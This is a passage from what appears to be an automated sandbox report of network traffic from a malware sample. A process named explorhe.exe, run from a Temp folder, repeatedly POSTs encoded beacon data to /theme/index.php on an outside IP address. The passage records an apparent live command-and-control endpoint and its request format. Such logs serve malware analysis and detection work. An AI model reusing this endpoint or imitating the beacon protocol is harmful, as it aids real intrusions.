Jan 18, 2024 00:35:16.945363045 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:17.178739071 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:17.180200100 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:17.419102907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50010	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:17.843362093 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:18.076148987 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:18.077095985 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:18.314074993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50024	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:18.693763018 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:18.932610035 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:18.934803963 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:19.177798986 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50046	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:19.525192976 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:19.761706114 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:19.764060020 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:20.004719973 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50055	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:20.362569094 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:20.599544048 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:20.600761890 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:20.842523098 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50058	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:21.217513084 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:21.449821949 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:21.452260017 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:21.689057112 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50082	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:22.059111118 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:22.290520906 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:22.299643993 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:22.536622047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50098	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:22.881019115 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:23.119793892 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:23.126737118 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:23.369203091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50112	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:23.722105980 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:23.957793951 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:23.958646059 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:24.197221994 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50117	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:24.543752909 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:24.774882078 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:24.791320086 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:25.026443958 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50122	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:25.369338989 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:25.602715015 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:25.603735924 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:25.844886065 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50127	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:26.189285040 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:26.428164959 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:26.429519892 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:26.671879053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50130	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:27.019531012 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:27.258821964 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:27.259778976 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:27.533299923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
